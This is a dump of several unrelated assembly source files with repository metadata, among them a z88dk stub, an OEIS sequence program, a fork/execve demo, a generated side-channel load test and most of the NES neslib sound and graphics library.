libsrc/_DEVELOPMENT/arch/zx/esxdos/c/sdcc_iy/esxdos_f_open_p3.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uchar esxdos_f_open_p3(char *filename, uchar mode, void *header) INCLUDE "config_private.inc" SECTION code_clib SECTION code_esxdos PUBLIC _esxdos_f_open_p3 EXTERN l0_esxdos_f_open_p3_callee _esxdos_f_open_p3: pop af pop hl dec sp pop bc pop de push de dec sp push hl push af jp l0_esxdos_f_open_p3_callee
13.423077
66
0.739255
d07b7749bbb37103ad67365978ed4ad510587f0c
399
asm
Assembly
programs/oeis/057/A057237.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/057/A057237.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/057/A057237.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A057237: Maximum k <= n such that 1, 2, ..., k are all relatively prime to n. ; 1,1,2,1,4,1,6,1,2,1,10,1,12,1,2,1,16,1,18,1,2,1,22,1,4,1,2,1,28,1,30,1,2,1,4,1,36,1,2,1,40,1,42,1,2,1,46,1,6,1,2,1,52,1,4,1,2,1,58,1,60,1,2,1,4,1,66,1,2,1,70,1,72,1,2,1,6,1,78,1,2,1,82,1,4,1,2,1,88,1,6,1,2,1,4,1,96,1,2,1 mov $2,$0 lpb $0 add $1,1 gcd $0,$1 sub $2,1 mul $0,$2 lpe trn $1,1 add $1,1 mov $0,$1
28.5
222
0.548872
1fd3cd43eebf6b427e2f3650d6465891cbaf7375
1,895
asm
Assembly
Examples/interprocess-communication/exeapp2.asm
agguro/linux-nasm
3e72083c3db6d7118eb2aa430b73e0d20e88456b
[ "Unlicense" ]
6
2020-07-19T18:34:43.000Z
2022-03-26T10:21:09.000Z
Examples/interprocess-communication/exeapp2.asm
NrdyBhu1/linux-nasm
3e72083c3db6d7118eb2aa430b73e0d20e88456b
[ "Unlicense" ]
null
null
null
Examples/interprocess-communication/exeapp2.asm
NrdyBhu1/linux-nasm
3e72083c3db6d7118eb2aa430b73e0d20e88456b
[ "Unlicense" ]
3
2020-07-19T18:35:10.000Z
2021-07-25T17:34:50.000Z
;name: exeapp2.asm ; ;build: nasm -felf64 exeapp2.asm -o exeapp2.o ; ld -melf_x86_64 -o exeapp2 exeapp2.o ; ;description: Demonstration on how to execute a program with commandline arguments ; from within a program. ; This example, as extension of exeapp2, shows how to pass arguments. ; Assumed is the presence of the program arguments. bits 64 [list -] %include "unistd.inc" [list +] section .rodata filename: db "arguments",0 ; full path! .length: equ $-filename argv1: db "hello", 0 ; a first argument to pass argv2: db "world", 0 ; a second argument to pass ;... put more arguments here argvPtr: dq filename dq argv1 dq argv2 ; more pointers to arguments here envPtr: dq 0 ; terminate the list of pointers with 0 ; envPtr is put at the end of the argv pointer list to safe some bytes forkerror: db "fork error",10 .len: equ $-forkerror execveerror: db "execve error(not expected)",10 .len: equ $-execveerror wait4error: db "wait4 error",10 .len: equ $-wait4error section .text global _start _start: syscall fork and rax,rax jns .continue syscall write,stderr,forkerror,forkerror.len jmp .exit .continue: jz .runchild ; wait for child to terminate syscall wait4, 0, 0, 0, 0 jns .exit syscall write,stderr,wait4error,wait4error.len jmp .exit .runchild: syscall execve,filename,argvPtr,envPtr jns .exit syscall write,stderr,execveerror,execveerror.len .exit: syscall exit,0
29.609375
92
0.550923
597c2993544c578fda9f153554b030d0ee4db27f
206
asm
Assembly
src/asm/make_masm.asm
msaf1980/sc
9c5e84380e2824e86b9f5b882f5138d0bf6a5f22
[ "0BSD" ]
62
2016-06-30T23:22:57.000Z
2021-09-14T02:13:49.000Z
Source/ThirdParty/sc/src/asm/make_masm.asm
Lutefisk3D/lutefisk3d
d2132b82003427511df0167f613905191b006eb5
[ "Apache-2.0" ]
4
2015-06-19T22:32:07.000Z
2017-04-05T06:01:50.000Z
src/asm/make_masm.asm
msaf1980/sc
9c5e84380e2824e86b9f5b882f5138d0bf6a5f22
[ "0BSD" ]
6
2018-05-10T07:01:40.000Z
2022-03-14T12:45:18.000Z
; Copyright (c) 2016 Johan Sköld ; License: https://opensource.org/licenses/ISC ; IFDEF SC_WIN64 INCLUDE make_x86_64_ms_pe_masm.asm ENDIF IFDEF SC_WIN32 INCLUDE make_i386_ms_pe_masm.asm ENDIF END
15.846154
46
0.781553
e81c5be043c65ccff13cc31d29793379c2f13aa0
58
asm
Assembly
src/main/fragment/mos6502-common/vwum1=vwum2_minus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/vwum1=vwum2_minus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/vwum1=vwum2_minus_1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda {m2} sec sbc #1 sta {m1} lda {m2}+1 sbc #0 sta {m1}+1
7.25
10
0.568966
1e930be4faf30f24c90fd2048c0c9d5fe5aeeab6
164
asm
Assembly
data/pokemon/dex_entries/silcoon.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/dex_entries/silcoon.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/dex_entries/silcoon.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
db "COCOON@" ; species name db "Having wrapped" next "silk around the" next "branches of" page "a tree, it" next "quiescently awaits" next "evolution.@"
16.4
28
0.670732
5b63b29b7cdf3ac1f3e00c8e46dffc7c88526a72
188
asm
Assembly
exercises/exercise9/section2-1.asm
Dark15/assembly
b1b2048b8c8b01a59aa5463f92a4be243d9aa035
[ "MIT" ]
1
2021-11-30T10:12:43.000Z
2021-11-30T10:12:43.000Z
exercises/exercise9/section2-1.asm
Dark15/assembly
b1b2048b8c8b01a59aa5463f92a4be243d9aa035
[ "MIT" ]
null
null
null
exercises/exercise9/section2-1.asm
Dark15/assembly
b1b2048b8c8b01a59aa5463f92a4be243d9aa035
[ "MIT" ]
null
null
null
db '1234' section data1 align=16 vstart=0 db '5678' label1: db label1 section data2 align=16 db 'abcd' label2: db label2 section data3 align=32 db 'ABCD' program_end: db program_end
17.090909
31
0.744681
a5af4548ff68ac23888ccbc43b943d9aae79a667
5,756
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2574.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2574.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2574.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x108c0, %rsi lea addresses_D_ht+0x1b578, %rdi nop dec %r15 mov $14, %rcx rep movsb nop nop dec %rdi lea addresses_WC_ht+0xabf8, %rbp nop nop inc %r12 mov $0x6162636465666768, %rdi movq %rdi, %xmm6 movups %xmm6, (%rbp) nop nop nop and %rcx, %rcx lea addresses_UC_ht+0x12de8, %rcx nop nop nop nop nop dec %r11 movb $0x61, (%rcx) nop nop and $11638, %r11 lea addresses_D_ht+0x29b8, %r12 nop nop nop nop sub %r15, %r15 mov $0x6162636465666768, %r11 movq %r11, %xmm7 movups %xmm7, (%r12) nop nop nop and %r11, %r11 lea addresses_WT_ht+0xadf8, %rsi lea addresses_WT_ht+0x3df8, %rdi nop nop add %rax, %rax mov $123, %rcx rep movsl cmp $1740, %r12 lea addresses_A_ht+0x1a478, %rsi clflush (%rsi) nop inc %rdi and $0xffffffffffffffc0, %rsi movntdqa (%rsi), %xmm6 vpextrq $0, %xmm6, %r12 nop nop nop nop and %rbp, %rbp lea addresses_normal_ht+0x1d488, %r15 cmp %rcx, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm3 movups %xmm3, (%r15) nop xor $20615, %r15 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %r9 push %rbp push %rdi // Faulty Load lea addresses_normal+0x1f3f8, %r9 nop nop nop nop nop cmp %rdi, %rdi mov (%r9), %r8w lea oracles, %rdi and $0xff, %r8 shlq $12, %r8 mov (%rdi,%r8,1), %r8 pop %rdi pop %rbp pop %r9 pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
41.410072
2,999
0.662092
e05b40a4a355fa47c9a53c5348e4b39511408f6d
1,213
asm
Assembly
Engine/WLE_Decode.asm
gbcompo21/ReboundGB
68611cf8e35bb03362dd9059173a03796ba3bde4
[ "MIT" ]
2
2021-11-23T21:13:20.000Z
2021-12-11T05:11:46.000Z
Engine/WLE_Decode.asm
gbcompo21/ReboundGB
68611cf8e35bb03362dd9059173a03796ba3bde4
[ "MIT" ]
null
null
null
Engine/WLE_Decode.asm
gbcompo21/ReboundGB
68611cf8e35bb03362dd9059173a03796ba3bde4
[ "MIT" ]
1
2021-10-02T17:48:56.000Z
2021-10-02T17:48:56.000Z
DecodeWLE: ; Walle Length Encoding decoder ld c,0 DecodeWLELoop: ld a,[hl+] ld b,a and $c0 jr z,.literal cp $40 jr z,.repeat cp $80 jr z,.increment .copy ld a,b inc b ret z and $3f inc a ld b,a ld a,[hl+] push hl ld l,a ld a,e scf sbc l ld l,a ld a,d sbc 0 ld h,a call _CopyRAMSmall pop hl jr DecodeWLELoop .literal ld a,b and $1f bit 5,b ld b,a jr nz,.longl inc b call _CopyRAMSmall jr DecodeWLELoop .longl push bc ld a,[hl+] ld c,a inc bc call _CopyRAM pop bc jr DecodeWLELoop .repeat call .repeatIncrementCommon .loopr ld [de],a inc de dec b jr nz,.loopr jr DecodeWLELoop .increment call .repeatIncrementCommon .loopi ld [de],a inc de inc a dec b jr nz,.loopi ld c,a jr DecodeWLELoop .repeatIncrementCommon bit 5,b jr z,.nonewr ld c,[hl] inc hl .nonewr ld a,b and $1f inc a ld b,a ld a,c ret
13.942529
35
0.473207
6cf1f266388c7fd6e5d9874036ff9778a88ff59c
815
asm
Assembly
test.asm
lestersantos/Assembly2019
b8a23e8a4a88142182b3fbd3e15b82d720bda10a
[ "BSD-2-Clause" ]
null
null
null
test.asm
lestersantos/Assembly2019
b8a23e8a4a88142182b3fbd3e15b82d720bda10a
[ "BSD-2-Clause" ]
null
null
null
test.asm
lestersantos/Assembly2019
b8a23e8a4a88142182b3fbd3e15b82d720bda10a
[ "BSD-2-Clause" ]
null
null
null
; Comando para ensamblar: #nasm test.asm -o test.com ;======================================================================| ; M A I N | ;======================================================================| ORG 100h mov dx, cadena ; colocar direccion de cadena en DX mov ah, 09h ; funcion 9, imprimir en pantalla int 21h ; interrupcion DOS mov ah, 4ch ; funcion 4C, finalizar ejecucion int 21h ; interrupcion DOS ;======================================================================| ; D A T A | ;======================================================================| SEGMENT data cadena db "Hola Mundo Arqui1 B $" ;cadena de caracteres ASCII ;======================================================================
35.434783
73
0.321472
e81f25895facb43243c3dd130837c65c65ff7173
446
asm
Assembly
programs/oeis/301/A301454.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/301/A301454.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/301/A301454.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A301454: Number of strictly log-concave permutations of {1,...,n}. ; 1,1,2,4,6,8,10,12,12,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8 trn $0,1 mov $2,3 lpb $0,1 sub $0,$2 add $1,5 trn $1,$0 add $1,$2 mov $0,$1 sub $0,1 mul $0,2 lpe trn $1,$0 mul $0,2 trn $0,1 add $1,$0 add $1,1
22.3
216
0.529148
4a198ccb268c6135f117a549e0315c93f9147963
25,945
asm
Assembly
source/neslib_asm/neslib.asm
cppchriscpp/through-dimensions
d89f6621b837274efe67bbd1e63a1eced288d4fe
[ "MIT" ]
1
2021-04-24T09:18:04.000Z
2021-04-24T09:18:04.000Z
source/neslib_asm/neslib.asm
cppchriscpp/we-must-go-derper
d89f6621b837274efe67bbd1e63a1eced288d4fe
[ "MIT" ]
null
null
null
source/neslib_asm/neslib.asm
cppchriscpp/we-must-go-derper
d89f6621b837274efe67bbd1e63a1eced288d4fe
[ "MIT" ]
null
null
null
;NES hardware-dependent functions by Shiru (shiru@mail.ru) ;with improvements by VEG ;Feel free to do anything you want with this code, consider it Public Domain ; NOTE: Edits by cppchriscpp: ; - Added mmc1 bank swapping ; - Made the nmi and music_play methods support swapping to a set SOUND_BANK before reading data. ; - Added second split method with y split support from na_th_an's NESDev code ; - Messed with the original split method to make it trigger a little later. ; - Problematic PAL bugfix removed; only supporting NTSC with this engine. ; - Added reset method to reset system to initial state ; - Added a simple wait for sprite0 hit, to allow us to do C things. ; - Added a handler to nmi to allow switching chr banks at the very start of nmi (mixed with functions in bank_helpers) ;modified to work with the FamiTracker music driver .export _pal_all,_pal_bg,_pal_spr,_pal_col,_pal_clear .export _pal_bright,_pal_spr_bright,_pal_bg_bright .export _ppu_off,_ppu_on_all,_ppu_on_bg,_ppu_on_spr,_ppu_mask,_ppu_system .export _oam_clear,_oam_size,_oam_spr,_oam_meta_spr,_oam_hide_rest .export _ppu_wait_frame,_ppu_wait_nmi .export _scroll,_split .export _bank_spr,_bank_bg .export _vram_read,_vram_write .export _music_play,_music_stop,_music_pause, _music_play_nonstop .export _sfx_play .export _pad_poll,_pad_trigger,_pad_state .export _rand8,_rand16,_set_rand .export _vram_adr,_vram_put,_vram_fill,_vram_inc,_vram_unrle .export _set_vram_update,_flush_vram_update .export _memcpy,_memfill,_delay .export nmi_update .export _split_y,_reset,_wait_for_sprite0_hit ;NMI handler nmi: ; Due to quirks of the MMC1 mapper, there's a chance this flips when we're in the middle of switching PRG banks. ; If this happens, we need to catch it, quickly return to what we were doing, then re-trigger the nmi update. pha lda BANK_WRITE_IP cmp #1 bne @continue ; If we were in the middle of switching banks, set a flag to check later... inc BANK_WRITE_IP pla ; then return from the interrupt without doing anything else. rti @continue: ; Not in the middle of a bank switch, so run the nmi_update method as normal. pla jsr nmi_update rti nmi_update: pha txa pha tya pha lda <PPU_MASK_VAR ;if rendering is disabled, do not access the VRAM at all and #%00011000 bne @doUpdate jmp @skipAll @doUpdate: lda nmiChrTileBank cmp #NO_CHR_BANK beq @no_chr_chg jsr _set_chr_bank_0 @no_chr_chg: lda #>OAM_BUF ;update OAM sta PPU_OAM_DMA lda <PAL_UPDATE ;update palette if needed bne @updPal jmp @updVRAM @updPal: ldx #0 stx <PAL_UPDATE lda #$3f sta PPU_ADDR stx PPU_ADDR ldy PAL_BUF ;background color, remember it in X lda (PAL_BG_PTR),y sta PPU_DATA tax .repeat 3,I ldy PAL_BUF+1+I lda (PAL_BG_PTR),y sta PPU_DATA .endrepeat .repeat 3,J stx PPU_DATA ;background color .repeat 3,I ldy PAL_BUF+5+(J*4)+I lda (PAL_BG_PTR),y sta PPU_DATA .endrepeat .endrepeat .repeat 4,J stx PPU_DATA ;background color .repeat 3,I ldy PAL_BUF+17+(J*4)+I lda (PAL_SPR_PTR),y sta PPU_DATA .endrepeat .endrepeat @updVRAM: lda <VRAM_UPDATE beq @skipUpd lda #0 sta <VRAM_UPDATE lda <NAME_UPD_ENABLE beq @skipUpd jsr _flush_vram_update_nmi @skipUpd: lda #0 sta PPU_ADDR sta PPU_ADDR lda <SCROLL_X sta PPU_SCROLL lda <SCROLL_Y sta PPU_SCROLL lda <PPU_CTRL_VAR sta PPU_CTRL @skipAll: lda <PPU_MASK_VAR sta PPU_MASK inc <FRAME_CNT1 inc <FRAME_CNT2 lda <FRAME_CNT2 cmp #6 bne @skipNtsc lda #0 sta <FRAME_CNT2 @skipNtsc: ; Bank swapping time! Switch to the music bank for sfx, etc... lda BP_BANK sta NMI_BANK_TEMP lda #SOUND_BANK sta BP_BANK jsr _set_prg_bank_raw ;play music, the code is modified to put data into output buffer instead of APU registers lda <MUSIC_PLAY ror bcc :+ jsr ft_music_play jmp :++ : lda #$30 ;mute channels when music does not play sta <BUF_4000 sta <BUF_4004 sta <BUF_400C lda #$00 sta <BUF_4008 : ;process all sound effect streams .if(FT_SFX_ENABLE) .if FT_SFX_STREAMS>0 ldx #FT_SFX_CH0 jsr _FT2SfxUpdate .endif .if FT_SFX_STREAMS>1 ldx #FT_SFX_CH1 jsr _FT2SfxUpdate .endif .if FT_SFX_STREAMS>2 ldx #FT_SFX_CH2 jsr _FT2SfxUpdate .endif .if FT_SFX_STREAMS>3 ldx #FT_SFX_CH3 jsr _FT2SfxUpdate .endif .endif ;send data from the output buffer to the APU lda <BUF_4000 sta $4000 lda <BUF_4001 sta $4001 lda <BUF_4002 sta $4002 lda <BUF_4003 cmp <PREV_4003 beq :+ sta <PREV_4003 sta $4003 : lda <BUF_4004 sta $4004 lda <BUF_4005 sta $4005 lda <BUF_4006 sta $4006 lda <BUF_4007 cmp <PREV_4007 beq :+ sta <PREV_4007 sta $4007 : lda <BUF_4008 sta $4008 lda <BUF_4009 sta $4009 lda <BUF_400A sta $400A lda <BUF_400B sta $400B lda <BUF_400C sta $400C lda <BUF_400D sta $400D lda <BUF_400E sta $400E lda <BUF_400F sta $400F lda NMI_BANK_TEMP sta BP_BANK jsr _set_prg_bank_raw pla tay pla tax pla irq: rts ;famitone sound effects code and structures FT_VARS=FT_BASE_ADR .if(FT_PAL_SUPPORT) .if(FT_NTSC_SUPPORT) FT_PITCH_FIX = (FT_PAL_SUPPORT|FT_NTSC_SUPPORT) ;add PAL/NTSC pitch correction code only when both modes are enabled .endif .endif ;zero page variables FT_TEMP_PTR = FT_TEMP ;word FT_TEMP_PTR_L = FT_TEMP_PTR+0 FT_TEMP_PTR_H = FT_TEMP_PTR+1 FT_TEMP_VAR1 = FT_TEMP+2 ;sound effect stream variables, 2 bytes and 15 bytes per stream ;when sound effects are disabled, this memory is not used FT_PAL_ADJUST = FT_VARS+0 FT_SFX_ADR_L = FT_VARS+1 FT_SFX_ADR_H = FT_VARS+2 FT_SFX_BASE_ADR = FT_VARS+3 FT_SFX_STRUCT_SIZE = 15 FT_SFX_REPEAT = FT_SFX_BASE_ADR+0 FT_SFX_PTR_L = FT_SFX_BASE_ADR+1 FT_SFX_PTR_H = FT_SFX_BASE_ADR+2 FT_SFX_OFF = FT_SFX_BASE_ADR+3 FT_SFX_BUF = FT_SFX_BASE_ADR+4 ;11 bytes ;aliases for sound effect channels to use in user calls FT_SFX_CH0 = FT_SFX_STRUCT_SIZE*0 FT_SFX_CH1 = FT_SFX_STRUCT_SIZE*1 FT_SFX_CH2 = FT_SFX_STRUCT_SIZE*2 FT_SFX_CH3 = FT_SFX_STRUCT_SIZE*3 .if(FT_SFX_ENABLE) ;------------------------------------------------------------------------------ ; init sound effects player, set pointer to data ; in: X,Y is address of sound effects data ;------------------------------------------------------------------------------ FamiToneSfxInit: stx <TEMP+0 sty <TEMP+1 ldy #0 ; @cppchriscpp change: ; Disable the famitracker PAL features... it has a weird bug where if I disable PAL, this var ; is no longer defined, and ca65 does not like that. ; .if(FT_PITCH_FIX) ; lda FT_PAL_ADJUST ;add 2 to the sound list pointer for PAL ; bne @ntsc ; iny ; iny @ntsc: ; .endif lda (TEMP),y ;read and store pointer to the effects list sta FT_SFX_ADR_L iny lda (TEMP),y sta FT_SFX_ADR_H ldx #FT_SFX_CH0 ;init all the streams @set_channels: jsr _FT2SfxClearChannel txa clc adc #FT_SFX_STRUCT_SIZE tax cpx #FT_SFX_CH0+FT_SFX_STRUCT_SIZE*FT_SFX_STREAMS bne @set_channels rts ;internal routine, clears output buffer of a sound effect ;in: A is 0 ; X is offset of sound effect stream _FT2SfxClearChannel: lda #0 sta FT_SFX_PTR_H,x ;this stops the effect sta FT_SFX_REPEAT,x sta FT_SFX_OFF,x sta FT_SFX_BUF+6,x ;mute triangle lda #$30 sta FT_SFX_BUF+0,x ;mute pulse1 sta FT_SFX_BUF+3,x ;mute pulse2 sta FT_SFX_BUF+9,x ;mute noise rts ;------------------------------------------------------------------------------ ; play sound effect ; in: A is a number of the sound effect 0..127 ; X is offset of sound effect channel, should be FT_SFX_CH0..FT_SFX_CH3 ;------------------------------------------------------------------------------ FamiToneSfxPlay: asl a ;get offset in the effects list tay jsr _FT2SfxClearChannel ;stops the effect if it plays lda FT_SFX_ADR_L sta <TEMP+0 lda FT_SFX_ADR_H sta <TEMP+1 lda (TEMP),y ;read effect pointer from the table sta FT_SFX_PTR_L,x ;store it iny lda (TEMP),y sta FT_SFX_PTR_H,x ;this write enables the effect rts ;internal routine, update one sound effect stream ;in: X is offset of sound effect stream _FT2SfxUpdate: lda FT_SFX_REPEAT,x ;check if repeat counter is not zero beq @no_repeat dec FT_SFX_REPEAT,x ;decrement and return bne @update_buf ;just mix with output buffer @no_repeat: lda FT_SFX_PTR_H,x ;check if MSB of the pointer is not zero bne @sfx_active rts ;return otherwise, no active effect @sfx_active: sta <FT_TEMP_PTR_H ;load effect pointer into temp lda FT_SFX_PTR_L,x sta <FT_TEMP_PTR_L ldy FT_SFX_OFF,x clc @read_byte: lda (FT_TEMP_PTR),y ;read byte of effect bmi @get_data ;if bit 7 is set, it is a register write beq @eof iny sta FT_SFX_REPEAT,x ;if bit 7 is reset, it is number of repeats tya sta FT_SFX_OFF,x jmp @update_buf @get_data: iny stx <FT_TEMP_VAR1 ;it is a register write adc <FT_TEMP_VAR1 ;get offset in the effect output buffer and #$7f tax lda (FT_TEMP_PTR),y ;read value iny sta FT_SFX_BUF,x ;store into output buffer ldx <FT_TEMP_VAR1 jmp @read_byte ;and read next byte @eof: sta FT_SFX_PTR_H,x ;mark channel as inactive @update_buf: lda <BUF_4000 ;compare effect output buffer with main output buffer and #$0f ;if volume of pulse 1 of effect is higher than that of the sta <FT_TEMP_VAR1 ;main buffer, overwrite the main buffer value with the new one lda FT_SFX_BUF+0,x and #$0f cmp <FT_TEMP_VAR1 bcc @no_pulse1 lda FT_SFX_BUF+0,x sta <BUF_4000 lda FT_SFX_BUF+1,x sta <BUF_4002 lda FT_SFX_BUF+2,x sta <BUF_4003 @no_pulse1: lda <BUF_4004 ;same for pulse 2 and #$0f sta <FT_TEMP_VAR1 lda FT_SFX_BUF+3,x and #$0f cmp <FT_TEMP_VAR1 bcc @no_pulse2 lda FT_SFX_BUF+3,x sta <BUF_4004 lda FT_SFX_BUF+4,x sta <BUF_4006 lda FT_SFX_BUF+5,x sta <BUF_4007 @no_pulse2: lda FT_SFX_BUF+6,x ;overwrite triangle of main output buffer if it is 